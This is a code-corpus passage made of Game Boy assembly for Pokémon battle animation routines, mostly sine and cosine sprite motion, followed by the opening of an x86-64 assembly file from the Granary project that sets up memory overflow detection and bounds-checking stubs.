ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
and $1
ret nz
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
dec [hl]
ret
.next
call BattleAnim_IncAnonJumptableIndex
ret
BattleAnimFunction_34:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld d, $18
push af
push de
call BattleAnim_Sine
sra a
sra a
sra a
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
add [hl]
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
inc [hl]
inc [hl]
ld a, [hl]
and $7
ret nz
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
cp $e8
jr z, .asm_cdfc7
dec [hl]
ret
.asm_cdfc7
call DeinitBattleAnimation
ret
BattleAnimFunction_3C:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld d, $18
push af
push de
call BattleAnim_Sine
sra a
sra a
sra a
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
add [hl]
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
inc [hl]
inc [hl]
ld a, [hl]
and $3
ret nz
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
cp $d0
jr z, .asm_ce007
dec [hl]
dec [hl]
ret
.asm_ce007
call DeinitBattleAnimation
ret
BattleAnimFunction_35:
call BattleAnim_AnonJumptable
.anon_dw
dw Functionce014
dw Functionce023
dw Functionce05f
Functionce014:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $34
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], $10
Functionce023:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $6c
jr c, .asm_ce02d
ret
.asm_ce02d
ld a, $2
call Functionce70a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld d, [hl]
call BattleAnim_Sine
bit 7, a
jr nz, .asm_ce046
xor $ff
inc a
.asm_ce046
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
sub $4
ld [hl], a
and $1f
cp $20
ret nz
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
srl [hl]
ret
Functionce05f:
call DeinitBattleAnimation
ret
BattleAnimFunction_Horn:
call BattleAnim_AnonJumptable
.anon_dw
dw .zero
dw .one
dw .two
dw Functionce09e
.zero:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_ANON_JT_INDEX
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], a
ret
.one:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $58
ret nc
ld a, $2
call Functionce70a
ret
.two:
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
cp $20
jr c, Functionce09e
call DeinitBattleAnimation
ret
Functionce09e:
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
ld d, $8
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
sra a
xor $ff
inc a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
add [hl]
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
add $8
ld [hl], a
ret
BattleAnimFunction_2C:
call BattleAnim_AnonJumptable
.anon_dw
dw Functionce0ce
dw Functionce0f8
dw Functionce0dd
Functionce0ce:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $f0
swap a
ld hl, BATTLEANIMSTRUCT_ANON_JT_INDEX
add hl, bc
ld [hl], a
ret
Functionce0dd:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
ld d, $10
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
bit 7, a
jr z, .asm_ce0f0
ld [hl], a
.asm_ce0f0
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
sub $4
ld [hl], a
Functionce0f8:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $84
jr c, .asm_ce105
call DeinitBattleAnimation
ret
.asm_ce105
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
call Functionce70a
ret
BattleAnimFunction_2E:
call BattleAnim_AnonJumptable
.anon_dw
dw Functionce115
dw Functionce12a
Functionce115:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $28
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
ld a, [hl]
sub $28
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], a
Functionce12a:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hli]
ld d, [hl]
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
and [hl]
jr nz, .asm_ce149
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
dec [hl]
.asm_ce149
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
inc [hl]
ld a, [hl]
and $3f
ret nz
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $20
inc hl
srl [hl]
ret
BattleAnimFunction_2F:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld d, [hl]
push af
push de
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
inc [hl]
ld a, [hl]
and $1
jr nz, .asm_ce189
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
dec [hl]
.asm_ce189
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $3
jr nz, .asm_ce197
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
inc [hl]
.asm_ce197
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
cp $5a
jr nc, .asm_ce1aa
ld a, [hl]
and a
jr z, .asm_ce1ac
dec [hl]
ret
.asm_ce1aa
inc [hl]
ret
.asm_ce1ac
call DeinitBattleAnimation
ret
BattleAnimFunction_42:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
inc [hl]
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld d, [hl]
push af
push de
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
inc [hl]
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
cp $40
jr nc, .asm_ce1df
inc [hl]
ret
.asm_ce1df
ld a, [hl]
dec [hl]
and a
ret nz
call DeinitBattleAnimation
ret
BattleAnimFunction_30:
call BattleAnim_AnonJumptable
.anon_dw
dw Functionce1ee
dw Functionce1fb
Functionce1ee:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], a
Functionce1fb:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld d, $30
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
add [hl]
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
add $8
ld d, $30
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
inc [hl]
ret
BattleAnimFunction_31:
call BattleAnim_AnonJumptable
.anon_dw
dw Functionce22d
dw Functionce254
Functionce22d:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld d, $10
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld d, $10
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], $f
Functionce254:
ret
BattleAnimFunction_32:
call BattleAnim_AnonJumptable
.anon_dw
dw Functionce260
dw Functionce274
dw Functionce278
dw Functionce289
Functionce260:
call BattleAnim_IncAnonJumptableIndex
ldh a, [hBattleTurn]
and a
jr nz, .asm_ce26c
ld a, $f0
jr .asm_ce26e
.asm_ce26c
ld a, $cc
.asm_ce26e
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], a
ret
Functionce274:
call Functionce29f
ret
Functionce278:
call Functionce29f
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $84
ret nc
ld a, $4
call Functionce70a
ret
Functionce289:
call Functionce29f
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $d0
jr nc, .asm_ce29b
ld a, $4
call Functionce70a
ret
.asm_ce29b
call DeinitBattleAnimation
ret
Functionce29f:
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
and $7
inc [hl]
srl a
ld e, a
ld d, $0
ldh a, [hSGB]
and a
jr nz, .asm_ce2b6
ld hl, Unknown_ce2c4
jr .asm_ce2b9
.asm_ce2b6
ld hl, Unknown_ce2c8
.asm_ce2b9
add hl, de
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
and [hl]
ld [wOBP0], a
ret
Unknown_ce2c4:
db $ff, $aa, $55, $aa
Unknown_ce2c8:
db $ff, $ff, $00, $00
BattleAnimFunction_33:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld d, $18
call BattleAnim_Sine
sra a
sra a
sra a
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
add [hl]
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
inc [hl]
ld d, $18
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
dec [hl]
dec [hl]
ret
BattleAnimFunction_36:
call BattleAnim_AnonJumptable
.anon_dw
dw Functionce306
dw Functionce330
dw Functionce34c
Functionce306:
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld a, [hl]
cp $e0
jr nz, .asm_ce319
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $2
ret
.asm_ce319
ld d, a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld e, [hl]
ld hl, -$80
add hl, de
ld e, l
ld d, h
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], d
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], e
ret
Functionce330:
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
and a
jr z, .asm_ce33a
dec [hl]
ret
.asm_ce33a
ld [hl], $4
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
xor $ff
inc a
ld [hl], a
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
add [hl]
ld [hl], a
ret
Functionce34c:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $84
jr nc, .asm_ce35b
ld a, $4
call Functionce70a
ret
.asm_ce35b
call DeinitBattleAnimation
ret
BattleAnimFunction_37:
call BattleAnim_AnonJumptable
.anon_dw
dw Functionce366
dw Functionce375
Functionce366:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $7f
add BATTLEANIMFRAMESET_81 ; BATTLEANIMFRAMESET_82 BATTLEANIMFRAMESET_83
call ReinitBattleAnimFrameset
Functionce375:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
bit 7, [hl]
jr nz, .asm_ce383
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
inc [hl]
ret
.asm_ce383
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
dec [hl]
ret
BattleAnimFunction_38:
call BattleAnim_AnonJumptable
.anon_dw
dw Functionce392
dw Functionce39c
dw Functionce3ae
Functionce392:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $c
ret
Functionce39c:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
and a
jr z, .asm_ce3a6
dec [hl]
ret
.asm_ce3a6
call BattleAnim_IncAnonJumptableIndex
ld a, BATTLEANIMFRAMESET_20
call ReinitBattleAnimFrameset
Functionce3ae:
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
dec [hl]
ret
BattleAnimFunction_39:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
inc [hl]
inc [hl]
push af
ld d, $2
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop af
ld d, $8
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ret
BattleAnimFunction_3A:
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld a, [hl]
cp $20
jr c, .asm_ce3df
call DeinitBattleAnimation
ret
.asm_ce3df
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld d, $8
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
add $2
ld [hl], a
and $7
ret nz
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
inc [hl]
ret
BattleAnimFunction_3B:
call BattleAnim_AnonJumptable
.anon_dw
dw Functionce406
dw Functionce412
Functionce406:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
add [hl]
ld [hl], a
ret
Functionce412:
call DeinitBattleAnimation
ret
BattleAnimFunction_3D:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld d, $18
push af
push de
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
sra a
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
inc [hl]
ret
BattleAnimFunction_3E:
call BattleAnim_AnonJumptable
.anon_dw
dw Functionce443
dw Functionce465
dw Functionce490
Functionce443:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $28
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $f
ld hl, BATTLEANIMSTRUCT_FRAMESET_ID
add hl, bc
add [hl] ; BATTLEANIMFRAMESET_8F BATTLEANIMFRAMESET_90 BATTLEANIMFRAMESET_91
; BATTLEANIMFRAMESET_93 BATTLEANIMFRAMESET_94 BATTLEANIMFRAMESET_95
call ReinitBattleAnimFrameset
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $f0
or $8
ld [hl], a
Functionce465:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
and a
jr z, .asm_ce48b
dec [hl]
add $8
ld d, a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
push af
push de
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ret
.asm_ce48b
ld [hl], $10
call BattleAnim_IncAnonJumptableIndex
Functionce490:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
dec [hl]
and a
ret nz
call DeinitBattleAnimation
ret
BattleAnimFunction_40:
call BattleAnim_AnonJumptable
.anon_dw
dw Functionce4a3
dw Functionce4b0
Functionce4a3:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, BATTLEANIMFRAMESET_24
add [hl] ; BATTLEANIMFRAMESET_25 BATTLEANIMFRAMESET_26
call ReinitBattleAnimFrameset
Functionce4b0:
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld a, [hl]
cp $38
jr nc, .asm_ce4d8
inc [hl]
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
inc [hl]
ld d, $18
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
ld a, [hl]
and $1
ret nz
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
dec [hl]
ret
.asm_ce4d8
call DeinitBattleAnimation
ret
BattleAnimFunction_41:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and a
ret z
ld d, a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
inc [hl]
call BattleAnim_Sine
bit 7, a
jr nz, .asm_ce4f4
xor $ff
inc a
.asm_ce4f4
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
and $1f
ret nz
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
srl [hl]
ret
BattleAnimFunction_43:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
cp $10
jr nc, .asm_ce52e
inc [hl]
inc [hl]
ld d, a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
push af
push de
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ret
.asm_ce52e
call DeinitBattleAnimation
ret
BattleAnimFunction_44:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld e, [hl]
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld d, [hl]
ld a, e
and $c0
rlca
rlca
add [hl]
ld [hl], a
ld a, e
and $3f
push af
push de
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ret
BattleAnimFunction_45:
call BattleAnim_AnonJumptable
.anon_dw
dw Functionce564
dw Functionce56e
dw Functionce577
Functionce564:
ld d, $18
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
inc [hl]
jr asm_ce58f
Functionce56e:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $18
Functionce577:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
cp $80
jr nc, .asm_ce58b
ld d, a
add $8
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
jr asm_ce58f
.asm_ce58b
call DeinitBattleAnimation
ret
asm_ce58f:
call Functionce6f1
ret
BattleAnimFunction_46:
call BattleAnim_AnonJumptable
.anon_dw
dw Functionce5b3
dw Functionce59a
Functionce59a:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $30
jr c, .asm_ce5b0
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
dec [hl]
dec [hl]
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
inc [hl]
inc [hl]
ret
.asm_ce5b0
call DeinitBattleAnimation
Functionce5b3:
ret
BattleAnimFunction_47:
ld d, $50
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
inc [hl]
inc [hl]
push af
push de
call BattleAnim_Sine
sra a
sra a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
add [hl]
inc [hl]
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ret
BattleAnimFunction_48:
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld a, [hl]
cp $d0
jr z, .disappear
dec [hl]
dec [hl]
dec [hl]
dec [hl]
ret
.disappear
call DeinitBattleAnimation
ret
BattleAnimFunction_49:
call BattleAnim_AnonJumptable
.anon_dw
dw Functionce5f9
dw Functionce60a
dw Functionce622
dw Functionce618
Functionce5f9:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and a
jr nz, asm_ce61c
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], $ec
Functionce60a:
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld a, [hl]
cp $4
jr z, Functionce618
inc [hl]
inc [hl]
inc [hl]
inc [hl]
ret
Functionce618:
call DeinitBattleAnimation
ret
asm_ce61c:
call BattleAnim_IncAnonJumptableIndex
call BattleAnim_IncAnonJumptableIndex
Functionce622:
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld a, [hl]
cp $d8
ret z
dec [hl]
dec [hl]
dec [hl]
dec [hl]
ret
BattleAnimFunction_4A:
call BattleAnim_AnonJumptable
.anon_dw
dw Functionce63a
dw Functionce648
dw Functionce65c
dw Functionce672
Functionce63a:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_ANON_JT_INDEX
add hl, bc
ld [hl], a
call BattleAnim_IncAnonJumptableIndex
ret
Functionce648:
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld a, [hl]
add $4
cp $70
jr c, .asm_ce654
xor a
.asm_ce654
ld [hl], a
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
inc [hl]
inc [hl]
ret
Functionce65c:
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld a, [hl]
add $4
cp $70
jr c, .asm_ce668
xor a
.asm_ce668
ld [hl], a
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld a, [hl]
add $8
ld [hl], a
ret
Functionce672:
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld a, [hl]
add $4
cp $70
jr c, .asm_ce67e
xor a
.asm_ce67e
ld [hl], a
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld a, [hl]
add $4
ld [hl], a
ret
BattleAnimFunction_4B:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld d, [hl]
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld e, [hl]
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld l, a
and $f0
ld h, a
swap a
or h
ld h, a
ld a, l
and $f
swap a
ld l, a
add hl, de
ld e, l
ld d, h
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld [hl], d
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], e
ret
BattleAnimFunction_4C:
ld d, $18
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
inc [hl]
call Functionce6f1
ret
BattleAnimFunction_4F:
ld d, $18
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
inc [hl]
srl a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
add [hl]
call Functionce6f1
ret
BattleAnimFunction_4D:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
cp $20
jr nc, .asm_ce6ed
inc [hl]
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld d, [hl]
call BattleAnim_Sine
xor $ff
inc a
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ret
.asm_ce6ed
call DeinitBattleAnimation
ret
Functionce6f1:
push af
push de
call BattleAnim_Sine
sra a
sra a
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ret
Functionce70a:
and $f
ld e, a
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
add [hl]
ld [hl], a
srl e
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
.asm_ce719
dec [hl]
dec e
jr nz, .asm_ce719
ret
BattleAnim_AnonJumptable:
pop de
ld hl, BATTLEANIMSTRUCT_ANON_JT_INDEX
add hl, bc
ld l, [hl]
ld h, $0
add hl, hl
add hl, de
ld a, [hli]
ld h, [hl]
ld l, a
jp hl
BattleAnim_IncAnonJumptableIndex:
ld hl, BATTLEANIMSTRUCT_ANON_JT_INDEX
add hl, bc
inc [hl]
ret
BattleAnim_Cosine:
; a = d * cos(a * pi/32)
add %010000 ; cos(x) = sin(x + pi/2)
; fallthrough
BattleAnim_Sine:
; a = d * sin(a * pi/32)
calc_sine_wave BattleAnimSineWave
BattleAnim_Sine_e:
ld a, e
call BattleAnim_Sine
ld e, a
ret
BattleAnim_Cosine_e:
ld a, e
call BattleAnim_Cosine
ld e, a
ret
BattleAnim_AbsSinePrecise:
ld a, e
call BattleAnim_Sine
ld e, l
ld d, h
ret
BattleAnim_AbsCosinePrecise:
ld a, e
call BattleAnim_Cosine
ld e, l
ld d, h
ret
BattleAnimSineWave:
sine_table 32
|
clients/watchpoints/clients/bounds_checker/bounds_checkers.asm | Granary/granary | 37 | 80878 | <gh_stars>10-100
/* Copyright 2012-2013 <NAME>, all rights reserved. */
/*
* bound_policy.asm
*
* Created on: 2013-05-07
* Author: <NAME>
*/
#include "granary/x86/asm_defines.asm"
#include "granary/x86/asm_helpers.asm"
#include "granary/pp.h"
#include "clients/watchpoints/config.h"
START_FILE
#define DESCRIPTORS SYMBOL(_ZN6client2wp11DESCRIPTORSE)
#define VISIT_OVERFLOW SYMBOL(_ZN6client2wp14visit_overflowEmjPPh)
.extern DESCRIPTORS
.extern VISIT_OVERFLOW
DECLARE_FUNC(granary_detected_overflow)
GLOBAL_LABEL(granary_detected_overflow:)
// Arg1 (rdi) has the watched address.
// Arg2 (rsi) has the operand size.
// Get the return address into the basic block as Arg3 (rdx).
lea 32(%rsp), %rdx;
// Save the scratch registers.
push %rcx;
push %r8;
push %r9;
push %r10;
push %r11;
call VISIT_OVERFLOW;
// Restore scratch registers.
pop %r11;
pop %r10;
pop %r9;
pop %r8;
pop %rcx;
// Restore the flags.
sahf;
pop %rax;
pop %rdx;
pop %rsi;
pop %rdi;
ret;
END_FUNC(granary_detected_overflow)
#define BOUNDS_CHECKER(reg, size) \
DECLARE_FUNC(CAT(CAT(granary_bounds_check_, CAT(size, _)), reg)) @N@\
GLOBAL_LABEL(CAT(CAT(granary_bounds_check_, CAT(size, _)), reg):) @N@@N@\
push %rdi; @N@\
mov %reg, %rdi; @N@\
@N@\
COMMENT(Tail-call to a generic bounds checker.) @N@\
jmp SHARED_SYMBOL(CAT(granary_bounds_check_, size)); @N@\
END_FUNC(CAT(CAT(granary_bounds_check_, CAT(size, _)), reg)) @N@@N@@N@
#define GENERIC_BOUNDS_CHECKER(size) \
DECLARE_FUNC(CAT(granary_bounds_check_, size)) @N@\
GLOBAL_LABEL(CAT(granary_bounds_check_, size):) @N@@N@\
push %rsi; @N@\
push %rdx; @N@\
